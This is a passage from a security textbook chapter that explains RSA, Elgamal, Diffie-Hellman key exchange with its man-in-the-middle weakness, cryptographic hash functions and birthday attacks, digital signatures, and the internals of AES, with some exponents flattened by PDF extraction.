is named RSA, after its inventors, Ronal Rivest, Adi Shamir, and Leonard
Adleman (see Figure 10). In this cryptosystem, we treat plaintext and
ciphertext message blocks as large numbers, represented using thousands
of bits. Encryption and decryption are done using modular exponentiation
and the correctness of these encryption and decryption algorithms is based
on Euler’s Theorem and other properties of modular arithmetic.

Figure 10: The inventors of the RSA cryptosystem, from left to right,
Adi Shamir, Ron Rivest, and Len Adleman, who received the Turing Award
in 2002 for this achievement. (Image used with permission from Ron Rivest
and Len Adleman.)
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RSA Encryption and Decryption

The setup for RSA allows a potential message receiver, Bob, to create his
public and private keys. It begins with Bob generating two large, random
prime numbers, p and q, and setting n = pq. He then picks a number, e,
that is relatively prime to φ(n), and he computes d = e−1 mod φ(n). From
this point on, he can “throw away” the values of p, q, and φ(n). They are
no longer needed. Bob’s public key is the pair, (e, n). His private key is d.
He needs to keep d a secret, but he should publish (e, n) to any places that
might allow others to use it to send Bob encrypted messages.

Given Bob’s public key, (e, n), Alice can encrypt a message, M, for him
by computing

C = Me mod n.

Thus, encrypting M requires a single modular exponentiation.
To decrypt the ciphertext, C, Bob performs a modular exponentiation,

Cd mod n,

and sets the result to M. This is, in fact, the plaintext that Alice encrypted,
as the following shows for the case when M is relatively prime to n:

Cd mod n = (Me)d mod n
= Med mod n
= Med mod φ(n) mod n
= M1 mod n
= M.

When M is not relatively prime to n, it must still be relatively prime to either
p or q, since M < n. So, in the case that M = ip (with a similar argument
for when M = iq),

Mφ(n) mod q = 1,

by Euler’s Theorem, since φ(n) = φ(p)φ(q). Thus, Mkφ(n) mod q = 1,
where k is defined so that ed = kφ(n) + 1. So Mkφ(n) = 1 + hq, for some
integer h; hence, multiplying both sides by M, we see that Mkφ(n)+1 =
M + Mhq. But, in this case, M = ip, which implies

Mkφ(n)+1 mod n = (M + Mhq) mod n
= (M + iphq) mod n
= (M + (ih)pq) mod n
= (M + (ih)n) mod n
= M.

Thus, we have shown the correctness of the RSA decryption method.
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The Security of the RSA Cryptosystem

The security of the RSA cryptosystem is based on the difficulty of finding
d, given e and n. If we knew φ(n) = (p − 1)(q − 1), it would be easy
to compute d from e. Thus, Bob needs to keep p and q secret (or even
destroy all knowledge of them), since anyone who knows the values of
p and q immediately knows the value of φ(n). Anyone who knows the
value of φ(n) can compute d = e−1 mod φ(n), using the extended Euclidian
algorithm.

Thus, the security of the RSA cryptosystem is closely tied to factoring n,
which would reveal the values of p and q. Fortunately, since this problem
has shown itself to be hard to solve, we can continue to rely on the security
of the RSA crptosystem, provided we use a large enough modulus. As
of 2010, a 2,048-bit modulus is recommended. Side channel attacks have
also been demonstrated on RSA, based on measuring the time taken by
decryption and/or the power consumption of the CPU performing the
operation.

We must take some care in how we use the RSA cryptosystem, however,
because of its deterministic nature. For example, suppose we use the
RSA algorithm to encrypt two plaintext messages, M1 and M2, into the
respective ciphertexts, C1 and C2, using the same public key. Because RSA
is deterministic, we know that, in this case, if C1 = C2, then M1 = M2.
Unfortunately, this fact could allow a cryptanalyst to infer information from
ciphertexts encrypted from supposedly different plaintexts. The cryptosys-
tem we discuss in Section 2.3 does not have the same disadvantage.

Efficient Implementation the RSA Cryptosystem

The implementation of the RSA cryptosystem requires efficient algorithms
for the following tasks:
• Primality testing, that is, testing if an integer is prime. This algorithm

is used in the setup phase to pick the factors p and q of the RSA
modulus. Each factor is picked by generating a series of random
numbers and stopping as soon as a prime is found.

• Computing the greatest common divisor, which is used in the setup
phase to pick the encryption exponent.

• Computing the modular inverse, which is used in the setup phase to
compute the decryption exponent given the encryption exponent.

• Modular power, used in the encryption and decryption algorithms.
Clearly, first computing the power and then applying the modulo
operator is inefficient since the power can be a very large number.

In Section 5.2, we present an efficient algorithm for these tasks.
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2.3 The Elgamal Cryptosystem

The Elgamal cryptosystem, named after its inventor, Taher Elgamal, is
a public-key cryptosystem that uses randomization, so that independent
encryptions of the same plaintext are likely to produce different ciphertexts.
It is based on viewing input blocks as numbers and applying arithmetic
operations on these numbers to perform encryption and decryption. Be-
fore we give the details for this cryptosystem, let us discuss some related
concepts from number theory.

In the number system Zp, all arithmetic is done modulo a prime number,
p. A number, g in Zp, is said to be a generator or primitive root modulo p if,
for each positive integer i in Zp, there is an integer k such that i = gk mod p.

It turns out that there are φ(φ(p)) = φ(p − 1) generators for Zp. So
we can test different numbers until we find one that is a generator. To test
whether a number, g, is a generator, it is sufficient that we test that

g(p−1)/pi mod p 6= 1,

for each prime factor, pi, of φ(p) = p − 1. If a number is not a generator,
one of these powers will be equal to 1. Normally, it would be hard to factor
p− 1, to find all its prime factors. But we can actually make this job easy by
choosing candidates for the prime number p in such a way that we know
the factoring of p− 1. The Elgamal cryptosystem requires such a generator,
so let us assume here that we can choose any prime number, p, in a way
that facilitates our ability to quickly find a generator, g, for Zp.

Once we have a generator g, we can efficiently compute x = gk mod p,
for any value k (see Section 5.2 for details). Conversely, given x, g, and
p, the problem of determining k such that x = gk mod p is known as the
discrete logarithm problem. Like factoring, the discrete logarithm problem
is widely believed to be computationally hard. The security of the Elgamal
cryptosystem depends on the difficulty of the discrete logarithm problem.

As a part of the setup, Bob chooses a random large prime number, p, and
finds a generator, g, for Zp. He then picks a random number, x, between 1
and p− 2, and computes y = gx mod p. The number, x, is Bob’s secret key.
His public key is the triple (p, g, y).

When Alice wants to encrypt a plaintext message, M, for Bob, she begins
by getting his public key, (p, g, y). She then generates a random number,
k, between 1 and p − 2, and she then uses modular multiplication and
exponentiation to compute two numbers:

a = gk mod p
b = Myk mod p.

The encryption of M is the pair (a, b).
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Decryption and Security Properties

Note that an Elgamal encryption is dependent on the choice of the random
number, k. Moreover, each time Alice does an Elgamal encryption, she must
use a different random number. If she were to reuse the same random
number, she would be leaking information much like the one-time pad
would leak information if we were to reuse a pad.

Given an Elgamal ciphertext, (a, b), created for Bob, he can decrypt this
ciphertext by computing ax mod p, computing the inverse of this value
modulo p, and multiplying the result by b, modulo p. This sequence of
computations gives Bob the following:

M = b(ax)−1 mod p.

The reason this actually decrypts the ciphertext is as follows:

b(ax)−1 mod p = Myk(gkx)−1 mod p
= M(gx)kg−kx mod p
= Mgxkg−kx mod p
= Mgkxg−kx mod p
= M mod p
= M.

Note that Bob doesn’t need to know the random value, k, to decrypt a
message that was encrypted using this value. And Alice didn’t need to
know Bob’s secret key to encrypt the message for him in the first place.
Instead, Alice got gx, as y, from Bob’s public key, and Bob got gk, as a,
from Alice’s ciphertext. Alice raised y to the power k and Bob raised a
to the power x, and in so doing they implicitly computed a type of one-
time shared key, gxk, which Alice used for encryption and Bob used for
decryption.

The security of this scheme is based on the fact that, without knowing
x, it would be very difficult for an eavesdropper to decrypt the ciphertext,
(a, b). Since everyone knows y = gx mod p, from Bob’s public key, the secu-
rity of this scheme is therefore related to the difficulty of solving the discrete
logarithm problem. That is, Elgamal could be broken by an eavesdropper
finding the secret key, x, given only y, knowing that y happens to be equal
to gx mod p. As previously mentioned, the discrete logarithm problem is
another one of those problems generally believed to be computationally
difficult. Thus, the security of the Elgamal cryptosystem is based on a
difficult problem from number theory.
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2.4 Key Exchange

The use of a symmetric cryptosystem requires that Alice and Bob agree
on a secret key before they can send encrypted messages to each other.
This agreement can be accomplished, for example, by the one-time use of a
private communication channel, such as an in-person meeting in a private
room, or mailing in tamper-proof containers. A key exchange protocol,
which is also called key agreement protocol, is a cryptographic approach to
establishing a shared secret key by communicating solely over an insecure
channel, without any previous private communication.

Intuitively, the existence of a key exchange protocol appears unlikely,
as the adversary can arbitrarily disrupt the communication between Alice
and Bob. Indeed, it can be shown that no key exchange protocol exists if
the adversary can actively modify messages sent over the insecure channel.
Nevertheless, key exchange can be successfully accomplished if the adver-
sary is limited to only passive eavesdropping on messages.

The classic Diffie-Hellman key exchange protocol (DH protocol), which
is named after its inventors, Whitfield Diffie and Martin Hellman, is based
on modular exponentiation. The DH protocol assumes that the follow-
ing two public parameters have been established and are known to all
participants (including the attacker): a prime number, p, and a generator
(Section 2.3), g, for Z p. The DH protocol consists of the following steps:

1. Alice picks a random positive number x in Zp and uses it to compute
X = gx mod p. She sends X to Bob.

2. Bob picks a random positive number y in Zp and uses it to compute
Y = gy mod p. He sends Y to Alice.

3. Alice computes the secret key as K1 = Yx mod p.

4. Bob computes the secret key as K2 = Xy mod p.
Note that Steps 1–2 can be performed in parallel. Similarly, Steps 3–4 can
also be performed in parallel. At the end of the protocol, Alice and Bob
have computed the same secret key K = gxy mod p = K1 = K2, since

K1 = Yx mod p = (gy)x mod p = (gx)y mod p = Xy mod p = K2.

The security of the DH protocol is based on the assumption that it is difficult
for the attacker to determine the key K from the public parameters and the
eavesdropped values X and Y. Indeed, recovering either x from X or y from
Y is equivalent to solving the discrete logarithm problem, which is believed
to be computationally hard, as discussed in Section 2.3. More generally,
no methods are known for efficiently computing K = gxy mod p from p,
g, X = gx mod p and Y = gy mod p, which is called the Diffie-Hellman
problem.
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Even though it is secure against a passive attacker, the DH protocol is
vulnerable to a man-in-the-middle attack if the attacker can intercept and
modify the messages exchanged by Alice and Bob. The attack, illustrated in
Figure 11, results in Alice and Bob unknowingly selecting different keys
that are known to the attacker, who can subsequently decrypt all ciphertexts
exchanged by Alice and Bob.

The attack works as follows:

1. The attacker picks numbers s and t in Zp.

2. When Alice sends the value X = gx mod p to Bob, the attacker reads
it and replaces it with T = gt mod p.

3. When Bob sends the value Y = gy mod p to Alice, the attacker reads
it and replaces it with S = gs mod p.

4. Alice and the attacker compute key K1 = gxs mod p.

5. Bob and the attacker compute key K2 = gy t mod p.

6. When Alice sends a message to Bob encrypted with the key K1, the
attacker decrypts it, reencrypts it with the key K2 and sends it to Bob.

7. When Bob sends a message to Alice encrypted with the key K2, the
attacker decrypts it, reencrypts it with the key K1 and sends it to Alice.

Alice BobAttackerAlice BobAttackerX = gx Y = gy

S = gs T = gt

K1 = gxs K1 = gxs K2 = gyt K2 = gyt

encrypt encryptdecrypt decrypt

Figure 11: The man-in-the-middle attack against the DH protocol. First, by
intercepting and modifying the messages of the DH protocol, the attacker
establishes a secret key, K1, with Alice and secret key, K2, with Bob. Next,
using keys K1 and K2, the attacker reads and forwards messages between
Alice and Bob by decrypting and reencrypting them. Alice and Bob are
unaware of the attacker and believe they are communicating securely with
each other.
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3 Cryptographic Hash Functions

As mentioned previously, we often wish to produce a compressed digest
of a message. A cryptographic hash function serves this purpose, while
also providing a mapping that is deterministic, one-way, and collision-
resistant. In this section, we discuss them in detail.

3.1 Properties and Applications

One of the critical properties of cryptographic hash functions is that they
are one-way. That is, given a message, M, it should be easy to compute a
hash value, H(M), from that message. However, given only a value, x, it
should be difficult to find a message, M, such that x = H(M). Moreover,
the hash value should be significantly smaller than a typical message. For
example, the commonly used standard hash function SHA-256 produces
hash values with 256 bits. This hash function uses several of the techniques
employed in symmetric encryption, including substitution, permutation,
exclusive-or, and iteration, in a way that provides so much diffusion of the
input that changing any bit in the input could potentially impact the value
of every bit in the output. Rather than go into these details, however, let
us discuss the properties of cryptographic hash functions and how they are
used.

Collision Resistance

A hash function, H, is a mapping of input strings to smaller output strings.
We say that H has weak collision resistance if, given any message, M, it is
computationally difficult to find another message, M′ 6= M, such that

H(M′) = H(M).

Hash function H has strong collision resistance if it is computationally
difficult to compute two distinct messages, M1 and M2, such that H(M1) =
H(M2). That is, in weak collision resistance, we are trying to avoid a
collision with a specific message, and in strong collision resistance we are
trying to avoid collisions in general. It is usually a challenge to prove that
real-world cryptographic hash functions have strong collision resistance, so
cryptographers typically provide experimental evidence for this property.
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The Merkle-Damgård Construction

A common structure for a hash function is to use as a building block a
cryptographic compression function C(X, Y), which is a cryptographic hash
function C that takes as input two strings, X and Y, where X has fixed
length m and Y has fixed length n, and produces a hash value of length n.
Given a message M, we divide M into multiple blocks, M1, M2, . . ., Mk,
each of length m, where the last block is padded in an unambiguous way
with additional bits to make it of length m. We start by applying the
compression function C to the first block, M1, and a fixed string v of length
n, known as the initialization vector. Denote the resulting hash value
with d1 = C(M1, v). Next, we apply the compression function to block
M2 and d1, resulting in hash value d2 = C(M2, d1), and so on. We define
the hash value of message H as equal to dk. This method for constructing
a cryptographic hash function from a cryptographic compression function,
illustrated in Figure 12, is known as the Merkle-Damgard construction˚ ,
after his inventors Ralph Merkle and Ivan Damgård.

v = d0

M1 M2 M3 M4 M5

C C C CCd1 d2 d3 d4 d5= d

Figure 12: The Merkle-Damgard construction.˚

In the Merkle-Damgård construction, if an attacker finds a collision
between two different messages, M1 and M2, i.e., H(M1) = H(M2), then
he can form other arbitrary collisions, Indeed, for any message P, we have

H(M1||P) = H(M2||P),

where the “||” symbol denotes string concatenation. Thus, it is important
for a compression function to have strong collision resistance.

Practical Hash Functions for Cryptographic Applications

The hash functions currently recommended for cryptographic applications
are the SHA-256 and SHA-512 functions standardized by NIST, where SHA
stands for “secure hash algorithm” and the numeric suffix refers to the
length of the hash value. These functions follows the Merkle-Damgård
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construction. SHA-256 employs a compression function with inputs of
m = 512 bits and n = 256 bits and produces hash values of n = 256 bits.
These parameters are m = 1, 024 and n = 512 for SHA-512.

The MD5 hash function, where MD refers to “message digest”, is still
widely used in legacy applications. However, it is considered insecure as
several attacks against it have been demonstrated. In particular, it has been
shown that given two arbitrary messages, M1 and M2, one can efficiently
compute suffixes S1 and S2 such that M1||P1 and M2||P2 collide under MD5.
For example, using this approach, one can generate different PDF files or
executable files with the same MD5 hash, a major vulnerability.

3.2 Birthday Attacks

The chief way that cryptographic hash functions are attacked is by com-
promising their collision resistance. Sometimes this is done by careful
cryptanalysis of the algorithms used to perform cryptographic hashing. But
it can also be done by using a brute-force technique known as a birthday
attack. This attack is based on a nonintuitive statistical phenomenon that
states that as soon as there are more than 23 people in a room, there is better
than a 50-50 chance that two of the people have the same birthday. And if
there are more than 60 people in a room, it is almost certain that two of
them share a birthday. The reason for this fact is that if there are 23 people
in a room, there are

23 · 22/2 = 253

possible pairs of people, all of which would have to be different for there to
be no two people with the same birthday. When there are 60 people in the
room, the number of distinct pairs of people is

60 · 59/2 = 1770.

Suppose that a cryptographic hash function, H, has a b-bit output. We have
that the number of possible hash values is 2b. We might at first think that
an attacker, Eve, needs to generate a number of inputs proportional to 2b

before she finds a collision, but this is not the case.
In the birthday attack, Eve generates a large number of random mes-

sages and she computes the cryptographic hash value of each one, hoping
to find two messages with the same hash value. By the same type of
argument used for the birthday coincidence in a room full of people, if
the number of messages generated is sufficiently large, there is a high
likelihood that two of the messages will have the same hash value. That is,
there is a high likelihood of a collision in the cryptographic hash function
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among the candidates tested. All Eve has to do is to sort the set of generated
values to find a pair that are equal. Eve does not need to try a number
of messages that are proportional to 2b, but can reduce that to something
on the order of 2b/2. For this reason, we usually think of the security of a
cryptographic hash function in terms of half of the size of its output. Thus, a
collision-resistant hash function with 256-bit has values has 128-bit security.

Analysis of the Birthday Attack

We now outline the mathematical analysis of the birthday attack. Consider
a b-bit hash function and let m = 2b denote the number of possible hash
values. The probability that the i-th message generated by the attacker does
not collide with any of the previous i− 1 messages is

1− i− 1
m

.

Thus, the failure probability at round k, that is, the probability the attacker
has not found any collisions after generating k message, is

Fk =
(

1− 1
m

)
+
(

1− 2
m

)
+
(

1− 3
m

)
+ · · ·+

(
1− k− 1

m

)
.

To find a closed-form expression for Fk, we use the following standard
approximation:

1− x ≈ e−x

Thus, we obtain

Fk ≈ e−(
1
m + 2

m + 3
m +···+ k−1

m ) = e−
k(k−1)

m .

The attack fails/succeeds with 50% probability when Fk = 1
2 , that is,

e−
k(k−1)

m =
1
2

.

Solving the above expression for k, we get

k ≈ 1.17
√

m.

Note that the number of bits of
√

m is b
2 , half the number of bits of m. This

concludes our justification of the birthday attack.
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4 Digital Signatures

A digital signature is a way for an entity to demonstrate the authenticity
of a message by binding its identity with that message. The general frame-
work is that Alice, should be able to use her private key with a signature
algorithm to produce a digital signature, SAlice(M), for a message, M. In
addition, given Alice’s public key, the message, M, and Alice’s signature,
SAlice(M), it should be possible for another party, Bob, to verify Alice’s
signature on M, using just these elements. (See Figure 13.)

yesyes

no

Verification
algorithm

no
signature 
l ith

g

message
signature

signed message
algorithm

Alice’s public key

Alice’s secret key

Alice Bob

Figure 13: The digital signing process for Alice and the signature verifica-
tion process for Bob.

Two important properties that we would like to have for a digital-
signature scheme are the following:

• Nonforgeability. It should be difficult for an attacker, Eve, to forge a
signature, SAlice(M), for a message, M, as if it is coming from Alice.

• Nonmutability. It should be difficult for an attacker, Eve, to take a
signature, SAlice(M), for a message, M, and convert SAlice(M) into a
valid signature on a different message, N.

If a digital-signature scheme achieves these properties, then it actually
achieves one more, nonrepudiation. It should be difficult for Alice to claim
she didn’t sign a document, M, once she has produced a digital signature,
SAlice(M), for that document.

In this section, we recall the definition and main properties of digital signa-
tures and we show how to use the RSA and Elgamal cryptosystems as digi-
tal signature schemes.
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4.1 The RSA Signature Scheme

The first digital-signature scheme we study is the RSA signature scheme.
Referring back to the discussion on the RSA cryptosystem from Sec-
tion 2.2, recall that, in this cryptosystem, Bob creates a public key, (e, n),
so that other parties can encrypt a message, M, as Ce mod n. In the RSA
signature scheme, Bob instead encrypts a message, M, using his secret key,
d, as follows:

S = Md mod n.

Any third party can verify this signature by testing the following condition:

Is it true that M = Se mod n?

The verification method follows from the fact that de mod φ(n) = 1. In-
deed, we have

Se mod n = Mde mod n = Mde mod φ(n) mod n = M1 mod n = M.

In addition, the verification of the RSA signature scheme involves the same
algorithm as RSA encryption and uses the same public key, (e, n), for Bob.

The nonforgeability of this scheme comes from the difficulty of breaking
the RSA encryption algorithm. In order to forge a signature from Bob on a
message, M, an attacker, Eve, would have to produce Md mod n, but do so
without knowing d. This amounts to being able to decrypt M as if it were
an RSA encryption intended for Bob.

Strictly speaking, the RSA signature scheme does not achieve non-
mutability, however. Suppose, for example, that an attacker, Eve, has two
valid signatures,

S1 = Md
1 mod n and S2 = Md

2 mod n,

from Bob, on two messages, M1 and M2. In this case, Eve could produce a
new signature,

S1 · S2 mod n = (M1 ·M2)d mod n,

which would validate as a verifiable signature from Bob on the message

M1 ·M2.

Fortunately, this issue is not a real problem in practice, for digital signatures
are almost always used with cryptographic hash functions, as discussed in
Section 4.3, which fixes this problem with the RSA signature scheme.
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4.2 The Elgamal Signature Scheme

In the Elgamal signature scheme, document signatures are done through
randomization, as in Elgamal encryption, but the details for Elgamal sig-
natures are quite different from Elgamal encryption. Recall that in the
setup for Elgamal encryption, Alice chooses a large random number, p,
finds a generator for Zp, picks a (secret) random number, x, computes
y = gx mod p, and publishes the pair (y, p) as her public key. To sign a
message, M, Alice generates a fresh one-time-use random number, k, and
computes the following two numbers:

a = gk mod p
b = k−1(M− xa) mod (p− 1).

The pair, (a, b), is Alice’s signature on the message, M.
To verify the signature, (a, b), on M, Bob performs the following test:

Is it true that yaab mod p = gM mod p?

This is true because of the following:

yaab mod p = (gx mod p)((gk mod p)k−1(M−xa) mod (p−1) mod p)

= gxagkk−1(M−xa) mod (p−1) mod p
= gxa+M−xa mod p
= gM mod p.

The security of this scheme is based on the fact that the computation of
b depends on both the random number, k, and Alice’s secret key, x. Also,
because k is random, its inverse is also random; hence, it is impossible
for an adversary to distinguish b from a random number, unless she can
solve the discrete logarithm problem to determine the number k from a
(which equals gk mod p). Thus, like Elgamal encryption, the security of the
Elgamal signature scheme is based on the difficulty of computing discrete
logarithms.

In addition, it is important that Alice never reuse a random number, k,
for two different signatures. For instance, suppose she produces

b1 = k−1(M1 − ax) mod (p− 1) and b2 = k−1(M2 − ax) mod (p− 1),

with the same a = gk mod p, for two different messages, M1 and M2. Then

(b1 − b2)k mod (p− 1) = (M1 −M2) mod (p− 1).

Thus, since b1 − b2 and M1 − M2 are easily computed values, an attacker,
Eve, can compute k. And once Eve knows k, she can compute x from either
b1 or b2, and from that point on, Eve knows Alice’s secret key.
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4.3 Using Hash Functions with Digital Signatures

For practical purposes, the above descriptions of the RSA and Elgamal
digital-signature schemes are not what one would use in practice. For
one thing, both schemes are inefficient if the message, M, being signed is
very long. For instance, RSA signature creation involves an encryption of
the message, M, using a private key, and Elgamal signature verification
requires a modular exponentiation by M. For another, one can construct
valid RSA signatures on combined messages from existing RSA signatures.
Thus, for practical and security reasons, it is useful to be able to restrict
digital signatures to messages that are digests.

For these reasons, real-world, digital-signature schemes are usually
applied to cryptographic hashes of messages, not to actual messages. This
approach significantly reduces the mutability risk for RSA signatures, for
instance, since it is extremely unlikely that the product of two hash values,
H(M) and H(N), would itself be equal to the hash of the product message,
M · N. Moreover, signing a hash value is more efficient than signing a full
message.

Of course, the security of signing hash values depends on both the
security of the signature scheme being used and the security of the crypto-
graphic hash function being used as well. For instance, suppose an attacker,
Eve, has found a collision between two inputs, M and N, with respect to a
hash function, H, so that

H(M) = H(N).

If Eve can then get Alice to sign the hash, H(M), of the message, M, then
Eve has in effect tricked Alice into signing the message M. Thus, in the
context of digital signatures of hash values, the risks of the birthday attack
are heightened.

For example, Eve could construct a large collection of messages, M1,
M2, . . ., Mk, that are all various instances of a purchase agreement for Eve’s
guitar that Alice has agreed to buy for $150. Because of the ambiguity of
English, there are many different instances of the same essential message,
so that each of the messages, Mi, means the same thing. But Eve could also
construct a series of messages, N1, N2, . . ., Nk, that are all variations of a
purchase agreement for Eve’s car that says Alice is agreeing to buy it for
$10,000. If Eve can find a collision between some Mi and Nj so that

H(Mi) = H(Nj),

then by getting Alice to sign the message Mi agreeing to buy Eve’s guitar,
Eve has also tricked Alice into signing the message Nj, agreeing to buy
Eve’s car.
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5 Details of AES and RSA Cryptography

In this section, we give the details for the AES and RSA cryptosystems.

5.1 Details for AES

We provide a detailed description of the AES symmetric encryption algo-
rithm for 128-bit keys. Recall that in Section 1.6, we discussed the ten
rounds, built from four basic steps, of the 128-bit version of the AES algo-
rithm. The algorithm starts with an AddRoundKey step applied directly to
a 128-bit block of plaintext. It then performs the four steps repeatedly and
in the order outlined in Section 1.6 for nine rounds, with the input of each
step coming from the output of the previous step. Then, in the tenth round
it performs the same set of steps, but with the MixColumns step missing, to
produce a 128-bit block of ciphertext. As we discuss below, each of the steps
is invertible, so the decryption algorithm essentially amounts to running
this algorithm in reverse, to undo each of the transformations done by each
step.

Matrix Representation

To provide some structure to the 128-bit blocks it operates on, the AES al-
gorithm views each such block, starting with the 128-bit block of plaintext,
as 16 bytes of 8 bits each,

(a0,0, a1,0, a2,0, a3,0, a0,1, a1,1, a2,1, a3,1, a0,2, a1,2, a2,2, a3,2, a0,3, a1,3, a2,3, a3,3),

arranged in column-major order into a 4× 4 matrix as follows:


a0,0 a0,1 a0,2 a0,3
a1,0 a1,1 a1,2 a1,3
a2,0 a2,1 a2,2 a2,3
a3,0 a3,1 a3,2 a3,3

 .
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SubBytes Step

In the SubBytes step, each byte in the matrix is substituted with a replace-
ment byte according to the S-box shown in Figure 14, resulting in the
following transformation:


a0,0 a0,1 a0,2 a0,3
a1,0 a1,1 a1,2 a1,3
a2,0 a2,1 a2,2 a2,3
a3,0 a3,1 a3,2 a3,3

→


b0,0 b0,1 b0,2 b0,3
b1,0 b1,1 b1,2 b1,3
b2,0 b2,1 b2,2 b2,3
b3,0 b3,1 b3,2 b3,3

 .

This S-box is actually a lookup table for a mathematical equation on
8-bit binary words that operates in an esoteric number system known as
GF(28). Such an interpretation is not necessary for performing the SubBytes
step, however, since we can perform this step with a simple lookup in the
S-box table. So we omit the details of this equation here. Likewise, the
inverse of this step, which is needed for decryption, can also be done with
a fast and simple S-box lookup, which we also omit.

0 1 2 3 4 5 6 7 8 9 a b c d e f
0 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76
1 ca 82 c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0
2 b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15
3 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75
4 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84
5 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf
6 d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8
7 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3 d2
8 cd 0c 13 ec 5f 97 44 17 c4 a7 7e 3d 64 5d 19 73
9 60 81 4f dc 22 2a 90 88 46 ee b8 14 de 5e 0b db
a e0 32 3a 0a 49 06 24 5c c2 d3 ac 62 91 95 e4 79
b e7 c8 37 6d 8d d5 4e a9 6c 56 f4 ea 65 7a ae 08
c ba 78 25 2e 1c a6 b4 c6 e8 dd 74 1f 4b bd 8b 8a
d 70 3e b5 66 48 03 f6 0e 61 35 57 b9 86 c1 1d 9e
e e1 f8 98 11 69 d9 8e 94 9b 1e 87 e9 ce 55 28 df
f 8c a1 89 0d bf e6 42 68 41 99 2d 0f b0 54 bb 16

Figure 14: The S-box used in the SubBytes step of AES. Each byte is shown
in hexadecimal notation, which encodes each 4-bit string as a digit 0–9 or
a–f. Each byte is indexed according to the first and second 4-bits in the byte
to be transformed.
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ShiftRows Step

The ShiftRows step is a simple permutation, which has the effect of mixing
up the bytes in each row of the 4× 4 matrix output from the SubBytes step.
The permutation amounts to a cyclical shift of each row of the 4× 4 matrix
so that the first row is shifted left by 0, the second is shifted left by 1, the
third is shifted left by 2, and the fourth is shifted left by 3, as follows:


b0,0 b0,1 b0,2 b0,3
b1,0 b1,1 b1,2 b1,3
b2,0 b2,1 b2,2 b2,3
b3,0 b3,1 b3,2 b3,3

 →


b0,0 b0,1 b0,2 b0,3
b1,1 b1,2 b1,3 b1,0
b2,2 b2,3 b2,0 b2,1
b3,3 b3,0 b3,1 b3,2



=


c0,0 c0,1 c0,2 c0,3
c1,0 c1,1 c1,2 c1,3
c2,0 c2,1 c2,2 c2,3
c3,0 c3,1 c3,2 c3,3

 .

MixColumns Step

The MixColumns Step mixes up the information in each column of the
4 × 4 matrix output from the ShiftRows step. It does this mixing by ap-
plying what amounts to a Hill-cipher matrix-multiplication transformation
applied to each column, using the esoteric number system GF(28), which
was used to generate the S-box for the SubBytes step.

In the GF(28) number system, the bits in a byte, b7b6b5b4b3b2b1b0, are
interpreted to be the coefficients of the polynomial

b7x7 + b6x6 + b5x5 + b4x4 + b3x3 + b2x2 + b1x + b0,

where all the arithmetic used to evaluate this polynomial is modulo 2.
In other words, this is a Boolean polynomial where the addition used to
evaluate it is the same as the XOR operation and multiplication is the same
as the AND operation. But these polynomials are not used here for the
sake of evaluating them. Instead, in the GF(28) number system, we are
interested in operations performed on the underlying Boolean polynomials,
not on their evaluations. For example, to add two such polynomials, we
sum their respective matching coefficients, modulo 2:

(b7x7 + b6x6 + b5x5 + b4x4 + b3x3 + b2x2 + b1x + b0)
+ (c7x7 + c6x6 + c5x5 + c4x4 + c3x3 + c2x2 + c1x + c0)
= (b7 + c7)x7 + (b6 + c6)x6 + (b5 + c5)x5 + (b4 + c4)x4

+ (b3 + c3)x3 + (b2 + b2)x2 + (b1 + b1)x + (b0 + c0).
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In other words, to add two bytes, b and c, in the GF(28) number system, we
compute the exclusive-or b⊕ c.

The multiplication of two bytes, b and c, in the GF(28) number sys-
tem, amounts to a representation of the product of the two underlying
polynomials for b and c respectively. We can’t take this product without
modification, however, as it would, in general, be a degree-14 Boolean
polynomial, which would require more than 8 bits to represent. So we
define this product to be modulo the special polynomial

x8 + x4 + x3 + x + 1.

That is, to compute the product of two bytes, b and c, in GF(28), we com-
pute the Boolean polynomial for the product of the Boolean polynomials
for b and c, and then determine the remainder polynomial that results from
dividing the result by x8 + x4 + x3 + x + 1, using a polynomial analogue of
the long division algorithm we learned in grade school. As complicated as
this seems, there is a method for multiplying two bytes b and c in GF(28)
that is surprisingly simple to program and is almost as fast to compute as
regular integer multiplication. We omit the details of this multiplication
algorithm here, however.

Given this interpretation of arithmetic as being done as described above
in the number system GF(28), the MixColumns step of the AES encryption
algorithm is performed as follows:


00000010 00000011 00000001 00000001
00000001 00000010 00000011 00000001
00000001 00000001 00000010 00000011
00000011 00000001 00000001 00000010

 ·


c0,0 c0,1 c0,2 c0,3
c1,0 c1,1 c1,2 c1,3
c2,0 c2,1 c2,2 c2,3
c3,0 c3,1 c3,2 c3,3



=


d0,0 d0,1 d0,2 d0,3
d1,0 d1,1 d1,2 d1,3
d2,0 d2,1 d2,2 d2,3
d3,0 d3,1 d3,2 d3,3

 .

As in the Hill cipher, this operation is invertible in the GF(28) number
system. In fact, the inverse matrix to be used during the reverse Mix-
Columns step for decryption is as follows:


00001110 00001011 00001101 00001001
00001001 00001110 00001011 00001101
00001101 00001001 00001110 00001011
00001011 00001101 00001001 00001110

 .
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AddRoundKey Step

In the AddRoundKey step, we exclusive-or the result from previous steps
with a set of keys derived from the 128-bit secret key. The operation of the
AddRoundKey step, therefore, can be expressed as follows:


d0,0 d0,1 d0,2 d0,3
d1,0 d1,1 d1,2 d1,3
d2,0 d2,1 d2,2 d2,3
d3,0 d3,1 d3,2 d3,3

 ⊕


k0,0 k0,1 k0,2 k0,3
k1,0 k1,1 k1,2 k1,3
k2,0 k2,1 k2,2 k2,3
k3,0 k3,1 k3,2 k3,3



=


e0,0 e0,1 e0,2 e0,3
e1,0 e1,1 e1,2 e1,3
e2,0 e2,1 e2,2 e2,3
e3,0 e3,1 e3,2 e3,3

 .

Of course, the critical part of performing this step is determining how
the matrix of keys, ki,j, for this round, are derived from the single 128-bit
secret key, K.

AES Key Schedule

The key schedule for AES encryption is determined using a type of pseudo-
random number generator. The first 4× 4 key matrix, which is applied to
the plaintext directly before any of the steps in round 1, is simple. It is just
the secret key, K, divided into 16 bytes and arranged into a 4 × 4 matrix
in a column-major ordering. For the sake of numbering, let us call this the
round 0 key matrix, and let us refer to these columns as W[0], W[1], W[2],
and W[3], so that the round 0 key matrix can be viewed as[

W[0] W[1] W[2] W[3]
]

